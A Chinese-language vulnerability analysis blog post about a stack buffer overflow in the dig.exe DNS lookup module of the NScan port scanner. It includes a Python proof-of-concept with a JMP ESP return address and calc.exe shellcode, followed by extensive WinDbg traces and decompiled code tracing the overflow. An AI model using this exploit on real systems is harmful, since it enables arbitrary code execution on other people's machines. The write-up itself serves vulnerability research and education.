作者:k0shl 转载请注明出处:https://whereisk0shl.top
9月1日,好久没更博了,最近事情很多也比较忙,更新不是很稳定请见谅,我之前的一些分析报告还有不到二十篇就发布完了,希望能对看到的小伙伴起到一定的帮助,之前收到一些邮件问到我的报告中的一些问题,这些报告是我在2015-2016年期间积累的,时间比较远了,如果有问题的话欢迎交流,我会及时改正。
在我的所有报告更新完之后,我的博客就无法保持定时更新了,但我会尽量保持文章产出,和大家一起分析一些新的漏洞,再次感谢大家对博客的支持!谢谢!
漏洞说明
NScan是一款端口扫描器,其中包含了许多功能,dig.exe是NSan的一个子模块,命名为dnslookup,负责dns扫描,dig.exe在扫描时会读取服务器地址,此时由于对读取的地址没有进行限制,导致传入畸形字符串的时候,会引发缓冲区溢出漏洞,从而导致任意代码执行。
软件下载:
https://www.exploit-db.com/apps/b235ebf93610e43c8b2246ea39d71ba7-nscan091.exe
PoC:
import struct
rp=struct.pack("<L", 0x75658BD5) #JMP ESP kernel32
# Modified 'calc.exe' shellcode Windows 7 SP1 for this exploit
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x2E\x65\x78\x65" #<=== \x2E\x2E (Deal with "." character problem)
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")
payload="A"*997+rp+"\x90"*10+sc
file=open("NECRO", "w")
file.write(payload)
file.close()
print '=== Exploit payload created! ==='
print '=== HYP3RLINX | APPARITIONsec ==='
漏洞复现
首先附加dig.exe,传入超长字符串,导致程序崩溃,windbg命中崩溃位置。
0:001> g
(9d4.8b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000740 ecx=41414141 edx=0042ac08 esi=00946930 edi=0012f79c
eip=41414141 esp=010cff18 ebp=010cff80 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
41414141 ?? ???
通过kb回溯堆栈调用
0:002> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
010cff14 41414141 41414141 41414141 41414141 0x41414141
*** WARNING: Unable to verify checksum for C:\Program Files\Necrosoft\NScan\dig.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Necrosoft\NScan\dig.exe
010cff80 00407cde 0012f79c 0014e700 0012f49c 0x41414141
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
010cffb4 7c80b713 009469a8 0014e700 0012f49c dig+0x7cde
010cffec 00000000 00407c7f 009469a8 00000000 kernel32!GetModuleFileNameA+0x1b4
很清晰可以看到之前的堆栈调用情况,就从00407cde位置入手开始分析。
漏洞分析
跟踪到00407cde位置,可以看到一个代码块。
.text:00407CD4 loc_407CD4: ; CODE XREF: _threadstartex(x)+51j
.text:00407CD4 and [ebp+ms_exc.registration.TryLevel], 0
.text:00407CD8 push dword ptr [esi+4Ch]
.text:00407CDB call dword ptr [esi+48h]
.text:00407CDE push eax ; dwExitCode
.text:00407CDF call __endthreadex
.text:00407CDF __threadstartex@4 endp
可以看到,这个loc块属于threadstart,应该是一个线程的模块中,在00407cdb位置下断点,可以看到这里涉及到一个函数调用,直接动态跟踪。
0:002> p
eax=00402940 ebx=00000764 ecx=010cff08 edx=7c92e4f4 esi=00946988 edi=0012f79c
eip=00418067 esp=010cff20 ebp=010cff80 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
dig+0x18067:
00418067 ff764c push dword ptr [esi+4Ch] ds:0023:009469d4=0012fb5c
0:002> p
eax=00402940 ebx=00000764 ecx=010cff08 edx=7c92e4f4 esi=00946988 edi=0012f79c
eip=0041806a esp=010cff1c ebp=010cff80 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
dig+0x1806a:
0041806a ffd0 call eax {dig+0x2940 (00402940)}
0:002> t
eax=00402940 ebx=00000750 ecx=010cff08 edx=7c92e4f4 esi=00946988 edi=0012f79c
eip=00402940 esp=010cff18 ebp=010cff80 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
dig+0x2940:
00402940 8b4c2404 mov ecx,dword ptr [esp+4] ss:0023:010cff1c=0012fb5c
0:002> p
eax=00402940 ebx=00000750 ecx=0012fb5c edx=7c92e4f4 esi=00946988 edi=0012f79c
eip=00402944 esp=010cff18 ebp=010cff80 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
dig+0x2944:
00402944 e8770e0000 call dig+0x37c0 (004037c0)
这里会调用到004037c0函数,直接进入跟踪。这个函数主要是处理和dns服务器连接的部分,代码段很长,在跟踪的过程中,注意到一处函数调用。
.text:004037E6 mov [esp+42Ch+var_414], eax
.text:004037EA ; 46: v42 = 0;
.text:004037EA mov [esp+42Ch+var_4], 0
.text:004037F5 ; 47: v35 = (int)off_425CB4;
.text:004037F5 mov [esp+42Ch+var_418], eax
.text:004037F9 ; 48: v37 = (int)off_425CB4;
.text:004037F9 mov [esp+42Ch+var_410], eax
.text:004037FD ; 50: v3 = *(const char **)(this + 908);
.text:004037FD mov eax, [esi+38Ch]
.text:00403803 ; 49: v2 = this + 908;
.text:00403803 lea ebx, [esi+38Ch]
.text:00403809 push eax ; cp
.text:0040380A ; 51: LOBYTE(v42) = 2;
.text:0040380A mov byte ptr [esp+430h+var_4], 2
.text:00403812 ; 52: v4 = inet_addr(v3);
.text:00403812 call inet_addr
在00403812地址位置会调用inet_addr,这是一个socket中常用的IP地址的转换函数。动态跟踪到这个地址位置。
0:002> p
eax=0094f854 ebx=0012fee8 ecx=0012fb5c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=00403809 esp=010cfae8 ebp=010cff80 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
dig+0x3809:
00403809 50 push eax
0:002> p
eax=0094f854 ebx=0012fee8 ecx=0012fb5c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=0040380a esp=010cfae4 ebp=010cff80 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
dig+0x380a:
0040380a c684242c04000002 mov byte ptr [esp+42Ch],2 ss:0023:010cff10=00
0:002> p
eax=0094f854 ebx=0012fee8 ecx=0012fb5c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=00403812 esp=010cfae4 ebp=010cff80 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
dig+0x3812:
00403812 e8ddbb0000 call dig+0xf3f4 (0040f3f4)
0:002> dd 0094f89c
0094f89c 41414141 41414141 41414141 41414141
0094f8ac 41414141 41414141 41414141 41414141
0094f8bc 41414141 41414141 41414141 41414141
0094f8cc 41414141 41414141 41414141 41414141
0094f8dc 41414141 41414141 41414141 41414141
0094f8ec 41414141 41414141 41414141 41414141
0094f8fc 41414141 41414141 41414141 41414141
0094f90c 41414141 41414141 41414141 41414141
在这个函数调用的时候,会将当前IP地址转换,这个过程之前并没有对这个server地址进行判断,而是直接转换了。
0:002> p
eax=ffffffff ebx=0012fee8 ecx=71a22f3c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=00403817 esp=010cfae8 ebp=010cff80 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
dig+0x3817:
00403817 83f8ff cmp eax,0FFFFFFFFh
0:002> p
eax=ffffffff ebx=0012fee8 ecx=71a22f3c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=0040381a esp=010cfae8 ebp=010cff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
dig+0x381a:
0040381a 750c jne dig+0x3828 (00403828) [br=0]
0:002> p
eax=ffffffff ebx=0012fee8 ecx=71a22f3c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=0040381c esp=010cfae8 ebp=010cff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
dig+0x381c:
0040381c 53 push ebx
0:002> p
eax=ffffffff ebx=0012fee8 ecx=71a22f3c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=0040381d esp=010cfae4 ebp=010cff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
dig+0x381d:
0040381d 8d4c2420 lea ecx,[esp+20h]
0:002> p
eax=ffffffff ebx=0012fee8 ecx=010cfb04 edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=00403821 esp=010cfae4 ebp=010cff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
dig+0x3821:
00403821 e83e420100 call dig+0x17a64 (00417a64)
0:002> p
eax=010cfb04 ebx=0012fee8 ecx=0094f848 edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=00403826 esp=010cfae8 ebp=010cff80 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
dig+0x3826:
00403826 eb3c jmp dig+0x3864 (00403864)
0:002> dc ecx
0094f890 00000003 000003fc 000003fc 41414141 ............AAAA
0094f8a0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0094f8b0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0094f8c0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0094f8d0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0094f8e0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0094f8f0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
可以看到,在畸形字符串之前的000003fc是字符串长度1020,正好是payload长度,可见这个过程会将IP地址转换之后直接赋值,而没有进行任何处理,接着动态跟踪。
.text:00403864 loc_403864: ; CODE XREF: sub_4037C0+66j
.text:00403864 push 0
.text:00403866 lea ecx, [esp+430h+var_410]
.text:0040386A call sub_417D05
.text:0040386F ; 58: sub_403690((_DWORD *)v1, (int)buf, v5);
.text:0040386F push eax
.text:00403870 lea eax, [esp+430h+buf]
.text:00403874 push eax
.text:00403875 mov ecx, esi
.text:00403877 call sub_403690
在loc_403864块中地址00403877位置涉及到一处call调用,这个call调用一共有三个参数,其中第二个参数是一个buf参数,跟踪到这个位置。
0:002> p
eax=010bfb20 ebx=0012fee8 ecx=0094f890 edx=00000001 esi=0012fb5c edi=0012f79c
eip=00403874 esp=010bfae4 ebp=010bff80 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
dig+0x3874:
00403874 50 push eax
0:002> p
eax=010bfb20 ebx=0012fee8 ecx=0094f890 edx=00000001 esi=0012fb5c edi=0012f79c
eip=00403875 esp=010bfae0 ebp=010bff80 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
dig+0x3875:
00403875 8bce mov ecx,esi
0:002> p
eax=010bfb20 ebx=0012fee8 ecx=0012fb5c edx=00000001 esi=0012fb5c edi=0012f79c
eip=00403877 esp=010bfae0 ebp=010bff80 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
dig+0x3877:
00403877 e814feffff call dig+0x3690 (00403690)
0:002> dd esp
010bfae0 010bfb20 0094f484 0012f79c 00946988
010bfaf0 010bff80 00000764 00000000 00425cc8
010bfb00 00425cc8 0094f484 00000000 00000000
010bfb10 00000000 00000000 00000000 00000000
010bfb20 00000000 00000000 00000000 77d1a044
010bfb30 77d712a0 00418659 00000000 00000000
010bfb40 00000000 00000000 00000000 00000000
010bfb50 00000000 00000005 00000000 00000000
0:002> dd 0094f484
0094f484 41414141 41414141 41414141 41414141
0094f494 41414141 41414141 41414141 41414141
0094f4a4 41414141 41414141 41414141 41414141
0094f4b4 41414141 41414141 41414141 41414141
0094f4c4 41414141 41414141 41414141 41414141
0094f4d4 41414141 41414141 41414141 41414141
0094f4e4 41414141 41414141 41414141 41414141
0094f4f4 41414141 41414141 41414141 41414141
可见,此时第二个参数就是畸形字符串payload,payload此时会作为参数传入,也就是说此时调用了转换过后的IP地址。call函数调用结束后。
0:002> p
eax=00000e04 ebx=0012fee8 ecx=00000e04 edx=00000400 esi=0012fb5c edi=0012f79c
eip=0040387c esp=010bfae8 ebp=010bff80 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
dig+0x387c:
0040387c 6800020000 push 200h
0:002> dd esp
010bfae8 0012f79c 00946988 010bff80 00000764
010bfaf8 00000000 00425cc8 00425cc8 0094f484
010bfb08 00000000 00000000 00000000 00000000
010bfb18 00000000 00000000 00000e04 01000001
010bfb28 00000000 41fc0000 41414141 41414141
010bfb38 41414141 41414141 41414141 41414141
010bfb48 41414141 41414141 41414141 41414141
可以看到此时栈地址被覆盖,执行到返回位置。
0:002> p
eax=00000000 ebx=0012fef4 ecx=41414141 edx=0042ac08 esi=00946988 edi=0012f79c
eip=00403e2a esp=010cfaf4 ebp=010cff80 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
dig+0x3e2a:
00403e2a 5b pop ebx
0:002> p
eax=00000000 ebx=00000764 ecx=41414141 edx=0042ac08 esi=00946988 edi=0012f79c
eip=00403e2b esp=010cfaf8 ebp=010cff80 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
dig+0x3e2b:
00403e2b 64890d00000000 mov dword ptr fs:[0],ecx fs:003b:00000000=010cff08
0:002> p
eax=00000000 ebx=00000764 ecx=41414141 edx=0042ac08 esi=00946988 edi=0012f79c
eip=00403e32 esp=010cfaf8 ebp=010cff80 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
dig+0x3e32:
00403e32 81c41c040000 add esp,41Ch
0:002> p
eax=00000000 ebx=00000764 ecx=41414141 edx=0042ac08 esi=00946988 edi=0012f79c
eip=00403e38 esp=010cff14 ebp=010cff80 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
dig+0x3e38:
00403e38 c3 ret
0:002> p
eax=00000000 ebx=00000764 ecx=41414141 edx=0042ac08 esi=00946988 edi=0012f79c
eip=41414141 esp=010cff18 ebp=010cff80 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
41414141 ?? ???
此时返回地址已经被用户可控数据覆盖,返回后执行任意代码。来看一下漏洞函数的伪代码逻辑。
LONG __thiscall sub_4037C0(int this)
{
int v1; // esi@1
int v2; // ebx@1
const char *v3; // ST14_4@1
signed int v4; // eax@1
_BYTE *v5; // eax@4
char *v6; // ebp@4
unsigned __int32 v7; // edi@4
struct hostent *v8; // eax@5
SOCKET v9; // ebx@7
int v10; // edx@9
int v11; // ecx@9
const void *v12; // eax@10
int v13; // eax@10
int v14; // eax@11
int *v15; // ecx@11
const void *v16; // eax@12
int v17; // eax@12
int v18; // eax@13
int v19; // eax@14
int v20; // eax@14
int i; // edi@14
int v22; // eax@17
int v23; // eax@22
int v24; // ebx@25
int v25; // eax@25
u_short v26; // ST14_2@28
const void *v27; // eax@32
int v28; // eax@32
int v29; // eax@33
const void *v30; // eax@34
int v31; // eax@34
int v32; // eax@35
int v34; // [sp+10h] [bp-41Ch]@10
int v35; // [sp+14h] [bp-418h]@1
void *v36; // [sp+18h] [bp-414h]@1
int v37; // [sp+1Ch] [bp-410h]@1
u_short *v38; // [sp+20h] [bp-40Ch]@14
int v39; // [sp+24h] [bp-408h]@14
struct sockaddr name; // [sp+28h] [bp-404h]@8
char buf[4]; // [sp+38h] [bp-3F4h]@4
int v42; // [sp+428h] [bp-4h]@1
v1 = this;
v36 = off_425CB4;
v42 = 0;
v35 = (int)off_425CB4;
v37 = (int)off_425CB4;
v2 = this + 908;
v3 = *(const char **)(this + 908);
LOBYTE(v42) = 2;
v4 = inet_addr(v3);
if ( v4 == -1 )
sub_417A64((CString *)&v37, v2);
else
sub_413082((int)&v37, aD_D_D_D_inAddr, (v4 >> 24) & 0xFF);
v5 = (_BYTE *)sub_417D05(0);
sub_403690((_DWORD *)v1, (int)buf, v5);
v6 = (char *)malloc(0x200u);
v7 = inet_addr(*(const char **)(v1 + 912));
if ( v7 != -1 )
{
LABEL_7:
v9 = socket(2, 1, 6);
if ( v9 == -1 )
{
v30 = (const void *)WSAGetLastError();
sub_402E20((CString *)&v36, (CString *)&v35, v30);
CString::LoadStringA((CString *)(v1 + 100), 0x1F9u);
v31 = sub_417B19(&v34, v1 + 100, &v36);
LOBYTE(v42) = 9;
sub_417A64((CString *)(v1 + 920), v31);
LOBYTE(v42) = 2;
sub_4179BB(&v34);
CString::LoadStringA((CString *)(v1 + 100), 0x1F6u);
if ( *(_DWORD *)(v1 + 924) )
{
v32 = sub_417B19(&v34, v1 + 100, &v35);
LOBYTE(v42) = 10;
CString::operator+=(v32);
LOBYTE(v42) = 2;
v15 = &v34;
goto LABEL_36;
}
}
else
{
name.sa_family = 2;
*(_WORD *)&name.sa_data[0] = htons(0x35u);
*(_DWORD *)&name.sa_data[2] = v7;
if ( connect(v9, &name, 16) )
{
v27 = (const void *)WSAGetLastError();
sub_402E20((CString *)&v36, (CString *)&v35, v27);
CString::LoadStringA((CString *)(v1 + 100), 0x1F9u);
v28 = sub_417B19(&v34, v1 + 100, &v36);
LOBYTE(v42) = 7;
sub_417A64((CString *)(v1 + 920), v28);
LOBYTE(v42) = 2;
sub_4179BB(&v34);
CString::LoadStringA((CString *)(v1 + 100), 0x1F6u);
if ( *(_DWORD *)(v1 + 924) )
{
v29 = sub_417B19(&v34, v1 + 100, &v35);
LOBYTE(v42) = 8;
CString::operator+=(v29);
LOBYTE(v42) = 2;
v15 = &v34;
goto LABEL_36;
}
}
else
{
v10 = (unsigned __int8)buf[1];
v11 = (unsigned __int8)buf[0] << 8;
*(_DWORD *)(v1 + 124) = v9;
if ( send(v9, buf, v11 + v10 + 2, 0) )
{
v19 = *(_DWORD *)(v1 + 916);
v38 = 0;
v39 = 0;
v34 = v19 == 17;
v20 = recv(v9, v6, 512, 0);
for ( i = v34; v20; v20 = recv(v9, (char *)(i + v23), 512, 0) )
{
if ( v20 == -1 || *(_DWORD *)(v1 + 132) )
break;
i = (int)v38 + v20;
v22 = *(_DWORD *)(v1 + 916);
v38 = (u_short *)i;
if ( v22 == 17 && !v39 )
{
v34 = sub_4051F0(v6, i);
v39 = 1;
}
if ( !v34 && i >= ((unsigned __int8)*v6 << 8) + (unsigned __int8)v6[1] + 2 )
break;
v23 = sub_406DE4(v6, i + 512);
v6 = (char *)v23;
}
closesocket(v9);
if ( i )
{
v24 = 0;
CString::LoadStringA((CString *)(v1 + 920), 0x1FBu);
sub_416676(0);
*(_DWORD *)(v1 + 120) = 0;
v25 = sub_4051F0(v6, i);
if ( *(_DWORD *)(v1 + 916) == 17 && v25 )
{
CString::LoadStringA((CString *)(v1 + 100), 0x200u);
CString::operator+=(v1 + 100);
v38 = (u_short *)v6;
do
{
sub_403F60(v1, v38, i - v24);
v24 += htons(*v38) + 2;
v26 = *(_WORD *)&v6[v24];
v38 = (u_short *)&v6[v24];
}
while ( htons(v26) + v24 + 2 <= i && v24 < i );
sub_417CC6(asc_42555C);
CString::LoadStringA((CString *)(v1 + 100), 0x1FDu);
sub_413082((int)&v35, *(char **)(v1 + 100), *(_DWORD *)(v1 + 120));
CString::operator+=(&v35);
}
else
{
sub_403F60(v1, v6, i);
}
}
else
{
CString::LoadStringA((CString *)(v1 + 100), 0x1FAu);
sub_417A64((CString *)(v1 + 920), v1 + 100);
}
}
else
{
v12 = (const void *)WSAGetLastError();
sub_402E20((CString *)&v36, (CString *)&v35, v12);
CString::LoadStringA((CString *)(v1 + 100), 0x1F9u);
v13 = sub_417B19(&v34, v1 + 100, &v36);
LOBYTE(v42) = 5;
sub_417A64((CString *)(v1 + 920), v13);
LOBYTE(v42) = 2;
sub_4179BB(&v34);
CString::LoadStringA((CString *)(v1 + 100), 0x1F6u);
if ( *(_DWORD *)(v1 + 924) )
{
v14 = sub_417B19(&v34, v1 + 100, &v35);
LOBYTE(v42) = 6;
CString::operator+=(v14);
LOBYTE(v42) = 2;
v15 = &v34;
LABEL_36:
sub_4179BB(v15);
goto LABEL_37;
}
}
}
}
goto LABEL_37;
}
v8 = gethostbyname(*(const char **)(v1 + 912));
if ( v8 )
{
v7 = htonl((*v8->h_addr_list)[3] + (((*v8->h_addr_list)[2]
+ (((**v8->h_addr_list << 8) + (*v8->h_addr_list)[1]) << 8)) << 8));
goto LABEL_7;
}
v16 = (const void *)WSAGetLastError();
sub_402E20((CString *)&v36, (CString *)&v35, v16);
CString::LoadStringA((CString *)(v1 + 100), 0x1F8u);
v17 = sub_417B19(&v34, v1 + 100, &v36);
LOBYTE(v42) = 3;
sub_417A64((CString *)(v1 + 920), v17);
LOBYTE(v42) = 2;
sub_4179BB(&v34);
CString::LoadStringA((CString *)(v1 + 100), 0x1F6u);
if ( *(_DWORD *)(v1 + 924) )
{
v18 = sub_417B19(&v34, v1 + 100, &v35);
LOBYTE(v42) = 4;
CString::operator+=(v18);
LOBYTE(v42) = 2;
v15 = &v34;
goto LABEL_36;
}
LABEL_37:
sub_416676(0);
sub_405600(v1, 0);
LOBYTE(v42) = 1;
sub_4179BB(&v37);
LOBYTE(v42) = 0;
sub_4179BB(&v35);
v42 = -1;
return sub_4179BB(&v36);
}
分析一下伪代码可以看出,这个函数的主要功能就是负责和IP地址的dns服务器通信,获取dns服务器地址信息,这里会先做一次地址转换,之后会再做一次,而在这个过程之间,会由于函数调用导致栈地址被覆盖,而后续代码会对转换后的值进行判断是有效地址,否则会直接退出,而这个过程没有对IP地址是否合法进行处理,从而导致了缓冲区溢出的发生。